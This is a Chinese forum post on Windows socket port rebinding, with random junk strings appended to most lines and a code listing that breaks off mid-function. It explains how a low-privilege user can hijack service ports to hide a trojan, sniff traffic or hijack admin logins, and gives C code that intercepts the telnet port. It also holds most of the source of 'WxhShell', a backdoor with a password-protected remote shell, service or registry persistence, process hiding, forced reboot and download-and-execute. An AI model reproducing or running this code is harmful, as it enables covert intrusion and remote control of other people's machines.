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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: IwFg1\>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f|6%71  
RPaB4>  
  saddr.sin_family = AF_INET; |=38t8Ge&  
o|alL-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Cj5M  
~v,LFIT  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )OH!<jW  
i>,5b1x~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 RLulz|jC  
orzdq  
  这意味着什么?意味着可以进行如下的攻击: p//">l=Ps  
s/sH",  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 LC[, K  
M?$-u  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \|j`jsq  
a+weBF#Z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 PU?kQZU~)  
= "c _<?=[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $am7 xd  
4)'5;|pI  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 sd8o&6  
51;(vf  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Q:-H U bB  
>PySd"u  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |.(o4<nx.  
|nD2k,S<?  
  #include T X6Ydd  
  #include `2S{.s  
  #include @[ :sP  
  #include    VWfrcSZg6M  
  DWORD WINAPI ClientThread(LPVOID lpParam);   mW8CqW\Q5  
  int main() Jz%&-e3  
  { :?RK>}4|F  
  WORD wVersionRequested; eX_}KH-Q  
  DWORD ret; tinN$o Xy  
  WSADATA wsaData; =/dW5qy;*+  
  BOOL val; gdCU1D\  
  SOCKADDR_IN saddr; {_[l,tdZ  
  SOCKADDR_IN scaddr; &,$A7:  
  int err; Z"!C  
  SOCKET s; M"p$9t  
  SOCKET sc; OIewG5O  
  int caddsize; /~ V"v"7E  
  HANDLE mt; 1uXtBk6  
  DWORD tid;   TF=S \ Q  
  wVersionRequested = MAKEWORD( 2, 2 ); 2N)Ywqvj  
  err = WSAStartup( wVersionRequested, &wsaData ); $AsM 9D<BE  
  if ( err != 0 ) { 3\D jV2t  
  printf("error!WSAStartup failed!\n"); 5>A3;P  
  return -1; 7ky(g'  
  } ix!u#7  
  saddr.sin_family = AF_INET; S~6<'N&[  
   HHEFX9u  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Iv/yIS  
h Qu9ux  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); kN]#;R6  
  saddr.sin_port = htons(23); lc5NC;JR  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aL=VNZ!Pqc  
  { &G<ZK9Ot}0  
  printf("error!socket failed!\n"); jsez$m%vs  
  return -1; Rut6m5>  
  } / m?Z!  
  val = TRUE; a~XNRAh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5@Py`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Nr(WbD[T  
  { 8sbS7*#  
  printf("error!setsockopt failed!\n"); m,up37-{  
  return -1; !%@n067  
  } zNXk dw  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3`e1:`Hu  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 IRS^F;)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }qlz^s  
1.>sG2*P  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) YKM(qh2  
  { Xq)'p8C?  
  ret=GetLastError(); mZM5aTQ3  
  printf("error!bind failed!\n"); E-"Jgq\aC  
  return -1; n$=n:$`q  
  } }W|CIgF*  
  listen(s,2); gJF;yW 4  
  while(1) 1m ![;Pg3  
  { ' GW@P  
  caddsize = sizeof(scaddr); #x%O0  
  //接受连接请求 {O^1WgGc[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5 !NPqka}.  
  if(sc!=INVALID_SOCKET) ^NnZYr.  
  { 5Cz:$-+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  =6A<>  
  if(mt==NULL) T+.wJ W:jh  
  { Y":hb;&  
  printf("Thread Creat Failed!\n"); VUt 6[~?  
  break; |x kixf4zz  
  } !8A5Y[(XD  
  } H"&N<"hw  
  CloseHandle(mt); [yVU p+  
  } <B``/EX^  
  closesocket(s); #Ta@A~.L  
  WSACleanup(); d+^4 ;Hv4  
  return 0; _D+7w'8h  
  }   +b{h*WWdj  
  DWORD WINAPI ClientThread(LPVOID lpParam) {u5)zVYC,U  
  { UHCx}LGe  
  SOCKET ss = (SOCKET)lpParam; U 9 k}y  
  SOCKET sc; ~I^]O \?  
  unsigned char buf[4096]; iu1iO;q  
  SOCKADDR_IN saddr; _*`AGda  
  long num; /aPq9B@  
  DWORD val; `/|=eQ")o@  
  DWORD ret; <$=8'$T81  
  //如果是隐藏端口应用的话,可以在此处加一些判断 n1;V2k{uV  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {< wq}~  
  saddr.sin_family = AF_INET; m3|,c[M1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Hv IN'  
  saddr.sin_port = htons(23); p,1RRbyc  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0<Pe~i_=  
  { @?%"nK  
  printf("error!socket failed!\n"); i2!{.*.  
  return -1; :8 )4:4$^  
  } $ jn tT(V  
  val = 100; ,Y5+UzE@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )1i)I?m  
  {  43VuH  
  ret = GetLastError(); +V7p?iEY  
  return -1; uC}YKT>V7  
  } % -SP  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~&q e"0  
  { I7Eg$J&  
  ret = GetLastError(); ca`=dwe>  
  return -1; --/  .  
  } >l7 o/*4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) cCj3,s/p  
  { 4u&l@BUr  
  printf("error!socket connect failed!\n"); d6n6= [*  
  closesocket(sc); |0bSxPXn!  
  closesocket(ss); 4t+88e  
  return -1; LS_QoS  
  } ^wHO!$  
  while(1) xFvSQ`sp  
  { "?il07+w%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 EfUo<E  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Aqc(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6D+k[oHZm  
  num = recv(ss,buf,4096,0); # K-Q/*  
  if(num>0) r94BEC 2  
  send(sc,buf,num,0); /2U.,vw  
  else if(num==0) !eO?75/  
  break;  m$cM+  
  num = recv(sc,buf,4096,0); D0-e,)G}V,  
  if(num>0) IQ~()/;3d  
  send(ss,buf,num,0); >/n/n{{  
  else if(num==0) w5|"cD#8A  
  break; Iq52rI}  
  } jQdfFR  
  closesocket(ss); gGX/p6"  
  closesocket(sc); bEE:6)]G  
  return 0 ; < 37vWK1+  
  } SVpe^iQ]1\  
!6}Cs3.  
-WYJ1B0v  
========================================================== ~cez+VQe  
.Q#Eb %%  
下边附上一个代码,,WXhSHELL $C>EnNx  
W"0#  
========================================================== @s[bRp`gd  
aL`pvsnF  
#include "stdafx.h" t3WlVUtq3  
f9 rToH  
#include <stdio.h> ywdNwNJ  
#include <string.h> \\T I4A^#  
#include <windows.h> p 2i5/Ly  
#include <winsock2.h> b9vKux  
#include <winsvc.h> +Q '|->#  
#include <urlmon.h> L%<1C \k  
i a|F  
#pragma comment (lib, "Ws2_32.lib") zz9.OnZ~  
#pragma comment (lib, "urlmon.lib") Vy?w,E0^:  
.xD-eWw3R  
#define MAX_USER   100 // 最大客户端连接数 ;F:(5GBi  
#define BUF_SOCK   200 // sock buffer y>o#Hq&qM  
#define KEY_BUFF   255 // 输入 buffer 5_O.p3$tV  
eu4x{NmQ  
#define REBOOT     0   // 重启 hN}X11  
#define SHUTDOWN   1   // 关机 &sKYO<6K }  
'=ZE*nGC  
#define DEF_PORT   5000 // 监听端口 v#X? KqD  
x=Ru@nK;  
#define REG_LEN     16   // 注册表键长度 1TVTP2&Rd  
#define SVC_LEN     80   // NT服务名长度 BAPi<U'D  
OW.ckYt%  
// 从dll定义API l nZ=< T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vKW%l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;L`'xFo>>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m&x0,8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C +IXP  
Jk~T.p?tF  
// wxhshell配置信息 " pH+YqJ$  
struct WSCFG { qB&*"gf  
  int ws_port;         // 监听端口 a2i   
  char ws_passstr[REG_LEN]; // 口令 j4l7Tx  
  int ws_autoins;       // 安装标记, 1=yes 0=no (I+-wki"e  
  char ws_regname[REG_LEN]; // 注册表键名 +j<Nu)0iY  
  char ws_svcname[REG_LEN]; // 服务名 g &za/F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^NCH)zK]v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `K@   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 eGE,zkj FY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k-89(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Uarb [4OZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WFB2Ub7  
Wm A:"!~M  
}; x88$#N>Q5  
5p>a]gp  
// default Wxhshell configuration z(]*'0)P  
struct WSCFG wscfg={DEF_PORT, k`&mHSk-  
    "xuhuanlingzhe", (;n|>l?*  
    1, @M,_mX  
    "Wxhshell", Qh*|mW  
    "Wxhshell", OUs2)H61  
            "WxhShell Service", !At_^hSqz  
    "Wrsky Windows CmdShell Service", X=JSqO6V9  
    "Please Input Your Password: ", OVd"'|&6_  
  1, =thgNMDm"  
  "http://www.wrsky.com/wxhshell.exe", $nVTN.k  
  "Wxhshell.exe" V^0*S=N  
    }; $'&5gFr9  
55;xAsG  
// 消息定义模块 _zOzHc?Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /Ly%-py-$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ctCfLlK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )~5`A*Ku  
char *msg_ws_ext="\n\rExit."; Q`oi=O YB  
char *msg_ws_end="\n\rQuit."; #e#8I7P  
char *msg_ws_boot="\n\rReboot..."; A>PM'$"sT  
char *msg_ws_poff="\n\rShutdown..."; *L^{p.K4  
char *msg_ws_down="\n\rSave to "; s<5t}{x  
prwyP  
char *msg_ws_err="\n\rErr!"; C*KRu`t  
char *msg_ws_ok="\n\rOK!"; \nJr jH A  
X+*| nvq]  
char ExeFile[MAX_PATH]; XGUF9arN  
int nUser = 0; j{HxX  
HANDLE handles[MAX_USER];  =HSE  
int OsIsNt; LHa cHv  
A$oYw(m#  
SERVICE_STATUS       serviceStatus; 9LFg":  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T&!>lqU!J  
+zlaYHj  
// 函数声明 :l6sESr  
int Install(void); rdC(+2+Ay  
int Uninstall(void); Q!"Li  
int DownloadFile(char *sURL, SOCKET wsh); w@"|S_E  
int Boot(int flag); 'rg$%M*(  
void HideProc(void); "_(o% \"7  
int GetOsVer(void); kL&^/([9  
int Wxhshell(SOCKET wsl); /yI~(8bO  
void TalkWithClient(void *cs); R~tv?hP  
int CmdShell(SOCKET sock); J>+Dv?Ni$  
int StartFromService(void); gy>2=d  
int StartWxhshell(LPSTR lpCmdLine); BBp Hp  
2L,e\]2Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z|7Y1W[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); iWvgCm4  
H,uOshR  
// 数据结构和表定义 O@ "6)/  
SERVICE_TABLE_ENTRY DispatchTable[] = l&C%oW  
{ O}D]G%,m  
{wscfg.ws_svcname, NTServiceMain}, Ek 4aC3  
{NULL, NULL} ?d_Cy\G  
}; v5*SoUOF  
1.';:/~(  
// 自我安装 ;[6u79;I  
int Install(void) Bg#NB  
{ VE GUhI/d  
  char svExeFile[MAX_PATH]; 7f`jl/   
  HKEY key; O|OPdD  
  strcpy(svExeFile,ExeFile); & XrV[d[>  
5%W3&F6 %  
// 如果是win9x系统,修改注册表设为自启动 P= ]ZXj[  
if(!OsIsNt) { E-Mp|y/V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )ei+ewVZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *|4~ 0w  
  RegCloseKey(key); K_My4>~Il  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7tyn?t0n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3w0m:~KS6V  
  RegCloseKey(key); G q:7d]c~T  
  return 0; FUHjY  
    } 5[@4($q8  
  } hZ%Ie%~n  
} Gud!(5'  
else { f[%iRfUFw  
Ya>cGaLq  
// 如果是NT以上系统,安装为系统服务 fs`<x*}K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xXyzzr1[  
if (schSCManager!=0) jm*v0kNy  
{ a @TAUJ,  
  SC_HANDLE schService = CreateService (57x5qP X  
  ( `HHbQXB  
  schSCManager, fygy#&}~  
  wscfg.ws_svcname, eR3!P8t  
  wscfg.ws_svcdisp, 0 ">#h  
  SERVICE_ALL_ACCESS, TM"i9a? ;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iPs()IN.O  
  SERVICE_AUTO_START, jOe %_R  
  SERVICE_ERROR_NORMAL, d$>1 2>>  
  svExeFile, L=VuEF  
  NULL, D9Q%*DLd$_  
  NULL, SR\#>Qwx_  
  NULL, y[}BFUy  
  NULL, QALMF rWH  
  NULL air{1="<-  
  ); "7gHn0e>  
  if (schService!=0) "Pu P J|  
  { tw.%'oJ7  
  CloseServiceHandle(schService); 'r'uR5jR  
  CloseServiceHandle(schSCManager); .!Z.1:YR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =si<OB  
  strcat(svExeFile,wscfg.ws_svcname); Pl 5+Oo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gzuM>lf*{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [OM Kk#vW  
  RegCloseKey(key); cOS|B1xG  
  return 0; yhTe*I=Gk  
    } $YW z~^f  
  } &18} u~M  
  CloseServiceHandle(schSCManager); W<58TCd  
} NW~n+uk5v  
} dz7*a {  
] e&"CF  
return 1; .kBAUkL:  
} 8^HMK$  
^^)Pv#[3  
// 自我卸载 {E@@14]g  
int Uninstall(void) 0$P40 7  
{ 0w\gxd~'  
  HKEY key; [.0R"|$sy+  
n RXf\*"3  
if(!OsIsNt) { (3 _2h4O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _:TD{EO$  
  RegDeleteValue(key,wscfg.ws_regname); BI}>"',  
  RegCloseKey(key); zf^!Zqn[8z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :yw0-]/DD  
  RegDeleteValue(key,wscfg.ws_regname); G*n5`N@>7  
  RegCloseKey(key); 9WHkw@<R+  
  return 0; ogPxj KSI  
  } in%+)`'nH7  
} $H-s(3vq  
} >yT:eG  
else { =WN6Fj`  
[5:F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CjIkRa@!x  
if (schSCManager!=0) Prr<:q  
{ |~'{ [?a*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q%@l`V)Rs  
  if (schService!=0) 8 v&5)0u  
  { r$*k-c9Bf  
  if(DeleteService(schService)!=0) { F[Peil+|`  
  CloseServiceHandle(schService); fv)-o&Q#  
  CloseServiceHandle(schSCManager); P 0,]Ud  
  return 0; 9B<y w.  
  } RJ@d_~%U  
  CloseServiceHandle(schService); DGp'Xx_8  
  } 4(o0I~hpB?  
  CloseServiceHandle(schSCManager); X8Gw8^t  
} A4'v Jk  
} "bC8/^  
0PTB3-  
return 1; *USZ2|i  
} RU#Q<QI(  
2\m+  
// 从指定url下载文件 g pO@xk$  
int DownloadFile(char *sURL, SOCKET wsh) !a?o9<V  
{ 3WaYeol`  
  HRESULT hr; I:='LH,  
char seps[]= "/"; m3.d!~U\  
char *token; 2,dG Rf  
char *file; [7L1y) I(  
char myURL[MAX_PATH]; ?EKYKLwr  
char myFILE[MAX_PATH]; pNE!waR>  
v!40>[?|p  
strcpy(myURL,sURL); $] w&`F-  
  token=strtok(myURL,seps); 6nxf <1  
  while(token!=NULL) Rqu;;VI[  
  { =@B9I<GKf  
    file=token; ()XL}~I{!A  
  token=strtok(NULL,seps); ou@Dd4  
  } t?{E_70W  
kvryDM  
GetCurrentDirectory(MAX_PATH,myFILE); %!x\|@C  
strcat(myFILE, "\\"); DUY#RJf  
strcat(myFILE, file); !AP|ozkL  
  send(wsh,myFILE,strlen(myFILE),0); H@OYtPHGR  
send(wsh,"...",3,0); ~I2 IgEj>]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l6a,:*_  
  if(hr==S_OK) # |2w^Kn  
return 0; !t[X/iu  
else `N2zeFG  
return 1; 4uDz=B+8y  
c1e7h l  
} U =T[-(:H  
sL[,J[AN;  
// 系统电源模块 4l[f}Z  
int Boot(int flag) hm?-QVRPV  
{ 9KD2C>d<  
  HANDLE hToken; 7?B]X%  
  TOKEN_PRIVILEGES tkp; BxlpI[yWq  
nqy\xK#.^  
  if(OsIsNt) { 3 u-j`7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N'|zPFk g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G8eAj%88  
    tkp.PrivilegeCount = 1; #jK{)%}mA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yQ6{-:`)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !d%OoRSU'  
if(flag==REBOOT) { ~M,nCG^4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /.Gx n0  
  return 0; _ ?=bW  
} q'{E $V)E  
else { tUL(1:-C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $wC]S4C  
  return 0; wGAN"K:e  
} .(nq"&u-*  
  } 5qB>Song  
  else { 4*d_2:|u  
if(flag==REBOOT) { hDzKB))<w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sd.:PE <  
  return 0; ,SS@]9A &  
} ow%s_yV]R  
else { L@0DT&5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N!r@M."  
  return 0; xlS t  
} ,,b_x@y*  
} 980[]&(  
$UO7AHk  
return 1; - C8 h$P  
} (F~eknJ  
) T 3y,*  
// win9x进程隐藏模块 d v"  
void HideProc(void) |L<oKMZY  
{ \S1WF ?<,  
 /dBQ*f5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V#C[I~l  
  if ( hKernel != NULL ) t9W_ [_a9  
  { Vz51=?75  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); js'* :*7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Xpjk2[,  
    FreeLibrary(hKernel); 0.bmVN<  
  } B1J+`R3OX  
x^9W<  
return; fHR1ku y  
} N] }L*o&  
h`?0=:Tru  
// 获取操作系统版本 x-(?^g  
int GetOsVer(void) ,$7LMTVDrE  
{ !#g`R?:g  
  OSVERSIONINFO winfo; {_KuztJGA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3-~_F*%ST  
  GetVersionEx(&winfo); ]:Ocu--  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J1P82=$,  
  return 1; 9akCvY#Q  
  else ); 7csh%  
  return 0; J4xt!RW!  
} ${0Xq k  
"kVN|Do  
// 客户端句柄模块 7H++ pOF  
int Wxhshell(SOCKET wsl) Q->'e-\E<"  
{ [t,grdw  
  SOCKET wsh; A&)P_B1|  
  struct sockaddr_in client; W)$;T%u  
  DWORD myID; o7&Z4(V  
!5Z?D8dcx  
  while(nUser<MAX_USER) J6rXb ui$  
{ :G,GHU'/78  
  int nSize=sizeof(client);  H[fD >  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u;J9aKD  
  if(wsh==INVALID_SOCKET) return 1; R~[ u|EC}  
,|?B5n&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wW]|ElYR=  
if(handles[nUser]==0) oI/@w  
  closesocket(wsh); * vEG%Y  
else ?r2Im5N  
  nUser++; N{L]H _=  
  } E&GUg/d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y/4 4((O  
^~eT# Y8  
  return 0; Td X6<fVV  
} >LwAG:Ud  
-P@o>#Em  
// 关闭 socket qeH#c=DQ  
void CloseIt(SOCKET wsh) ?(;ygjyx  
{ )u'oI_  
closesocket(wsh); .ikFqZ$$  
nUser--; pi3Z)YcT  
ExitThread(0);  w~&bpCB!  
} Kx ?}%@b  
x !]ZVl]  
// 客户端请求句柄 hRtnO|Z6  
void TalkWithClient(void *cs) L'z;*N3D  
{ 6EP5n  
G2 xYa$&][  
  SOCKET wsh=(SOCKET)cs; E!C~*l]wJx  
  char pwd[SVC_LEN]; f.Q?-M  
  char cmd[KEY_BUFF]; 0'c<EJ  
char chr[1]; =HYMX "s  
int i,j; d\'M ~VQ  
bXC;6xZV  
  while (nUser < MAX_USER) { b> &kL  
FV!  
if(wscfg.ws_passstr) { _H<ur?G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -Y2h vC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'R,1Jmx  
  //ZeroMemory(pwd,KEY_BUFF); *.n9D  
      i=0; T->O5t c  
  while(i<SVC_LEN) { Y&]pC  
Ab cmI*y  
  // 设置超时 |P>> ^,iUn  
  fd_set FdRead; 2px l!  
  struct timeval TimeOut; /vwGSuk._  
  FD_ZERO(&FdRead); }NiJDs  
  FD_SET(wsh,&FdRead); onHUi]yYu{  
  TimeOut.tv_sec=8; WVf;uob{  
  TimeOut.tv_usec=0; f*bs{H'5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3 3s.p'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5 S7\m5  
P=(\3ok  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SI8mr`gJ  
  pwd=chr[0]; ^h4Q2Mv o  
  if(chr[0]==0xd || chr[0]==0xa) { r6*0H/*  
  pwd=0; /'!F \ kz  
  break; +w%MwPC7`  
  } ){L`hQ*=w  
  i++; v|CRiwx  
    } J:M^oA'N:>  
P_lk4 0X  
  // 如果是非法用户,关闭 socket *~:4&$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {*yhiE,  
} &HT P eB  
|JnJ=@-y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6 @'v6 1'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vAHJP$x  
=Q[ 5U9  
while(1) { Go+f0aig  
e nDjP  
  ZeroMemory(cmd,KEY_BUFF); | t3_E  
"&77`R  
      // 自动支持客户端 telnet标准   US@ak4Y6Z  
  j=0; p`T7Y\\#!  
  while(j<KEY_BUFF) { haqL DVrf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cuW$%$ F  
  cmd[j]=chr[0]; Y[ a$~n^:n  
  if(chr[0]==0xa || chr[0]==0xd) { zG+oZ  
  cmd[j]=0; kYmkKl_  
  break; Ag#p )  
  } W5HC7o\4  
  j++; <G}>Gk8x  
    } '!b1~+PV  
Nq9@^ E-{M  
  // 下载文件 KZsSTB6J  
  if(strstr(cmd,"http://")) { {CYFM[V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yLipuMNV  
  if(DownloadFile(cmd,wsh)) $l7 <j_C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *=UEx0_!q  
  else {Lrez E4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &5~bJ]P   
  } ,K,n{3]  
  else { !1-:1Whz8  
'<4/Md[  
    switch(cmd[0]) { FJ}/g ?  
  x_s9DkX  
  // 帮助 [;83 IoU}  
  case '?': { P8:k"i/6J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q: ?6  
    break; cOxF.(L  
  } gR?=z}`@p  
  // 安装 !n@Yg2w  
  case 'i': { Ro$l/lXl8t  
    if(Install()) f*aYS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b: +.Y$%F-  
    else "  q0lh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j2k,)MHu!x  
    break; ||0mfb  
    } SB:-zQ5  
  // 卸载 kOs_]  
  case 'r': { @m<xpe l  
    if(Uninstall()) 3l-8TR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bmGIxBRq  
    else o/)]z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QZYD;&iY&  
    break; Nd%,V  
    } > CZ|Vx  
  // 显示 wxhshell 所在路径 :-69,e  
  case 'p': { i%:oO KI  
    char svExeFile[MAX_PATH]; /MosE,7l  
    strcpy(svExeFile,"\n\r"); k-*H=km  
      strcat(svExeFile,ExeFile); )xoIH{  
        send(wsh,svExeFile,strlen(svExeFile),0); Kj;Q;Ii  
    break; ; SagN  
    } |Q@4F&k  
  // 重启 Nw/4z$].J  
  case 'b': { =NQDxt}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @9~6+BZOq  
    if(Boot(REBOOT)) VK[^v;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zr-HL:js  
    else { 6H53FMqr  
    closesocket(wsh); ;S7MP`o@  
    ExitThread(0); {M )Y6\v  
    } sV%<U-X  
    break; 7:)=  
    } u$X [=  
  // 关机 3ktjMVy\  
  case 'd': { &&nvv&a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hV)D,oN3  
    if(Boot(SHUTDOWN)) }N&}6U  
